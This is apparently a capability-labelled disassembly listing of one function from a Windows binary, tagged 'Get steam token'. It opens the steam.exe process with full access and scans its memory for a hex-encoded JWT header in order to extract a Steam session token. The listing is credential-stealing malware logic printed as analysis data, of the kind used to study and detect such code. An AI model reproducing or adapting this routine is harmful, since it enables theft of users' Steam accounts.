Function at 0x402994
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
push 8
call fcn.0040afab
add esp, 4
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, 0x4a1c82
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
mov eax, str.steam.exe
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0040217b
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x402a20
push ebx
call fcn.0040afb1
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [ebp + 8], eax
mov eax, 0x4a1ca6
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402a3c
push ebx
call fcn.0040afb1
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
mov eax, 0xf
call fcn.0040af9f
cmp dword [ebp - 0x28], esp
je 0x402a76
push 0x90
push 0x4029366
push 6
call fcn.0040af99
add esp, 0xc
mov dword [ebp - 8], eax
xor ecx, ecx
lea eax, [ebp - 0xc]
mov ebx, eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, 5
jg 0x402d30
push 3
push 1
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov eax, str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 8]
call fcn.00402ddd
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x402b2b
push ebx
call fcn.0040afb1
add esp, 4
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x402ceb
mov ebx, dword [ebp - 0x18]
call fcn.00401f30
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x402b78
push 0x234
push 0x4029366
push 4
call fcn.0040af99
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x402b95
push 0x234
push 0x4029366
push 1
call fcn.0040af99
add esp, 0xc
shl eax, 3
add ebx, eax
mov dword [ebp - 0x28], ebx
push 0x3e8
mov ebx, dword [ebp - 0x28]
push dword [ebx + 4]
push dword [ebx]
push dword [ebp - 8]
call fcn.0040551f
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x402bc8
mov eax, 0x4a1c82
push eax
push 1
mov ebx, 0x40c0e0
call fcn.0040afa5
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x402bee
push ebx
call fcn.0040afb1
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402c02
push ebx
call fcn.0040afb1
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
mov eax, 0x4a1e0d
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.004055f4
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x402c3a
push ebx
call fcn.0040afb1
add esp, 4
cmp dword [ebp - 0x30], 2
jne 0x402ce3
lea eax, [ebp - 0x20]
push eax
call fcn.004057a3
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x402c64
push ebx
call fcn.0040afb1
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push 1
push 1
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
mov eax, str.derive
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00402645
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x402ca3
push ebx
call fcn.0040afb1
add esp, 4
cmp dword [ebp - 0x30], 0xffffffff
je 0x402ce3
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x402cc9
push eax
mov ebx, eax
call fcn.004015f6
inc eax
push eax
call fcn.0040afab
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402cda
push ebx
call fcn.0040afb1
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x402ceb
pop eax
pop ebx
pop ecx
jmp 0x402b43
add esp, 0xc
push 0x4a1ca6
push dword [ebp - 4]
call fcn.004016bd
add esp, 8
cmp eax, 0
je 0x402d0c
jmp 0x402d30
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
push 1
push 0
push 0x258
call fcn.00402775
pop ebx
pop ecx
jmp 0x402a80
add esp, 8
mov dword [ebp - 0x28], esp
push dword [ebp - 8]
mov eax, 5
call fcn.0040af9f
cmp dword [ebp - 0x28], esp
je 0x402d5f
push 0x42f
push 0x4029366
push 6
call fcn.0040af99
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x402d7b
push eax
mov ebx, eax
call fcn.004015f6
inc eax
push eax
call fcn.0040afab
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x402d80
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402d91
push ebx
call fcn.0040afb1
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
call fcn.0040afb1
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402dad
push ebx
call fcn.0040afb1
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x402dbd
push ebx
call fcn.0040afb1
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4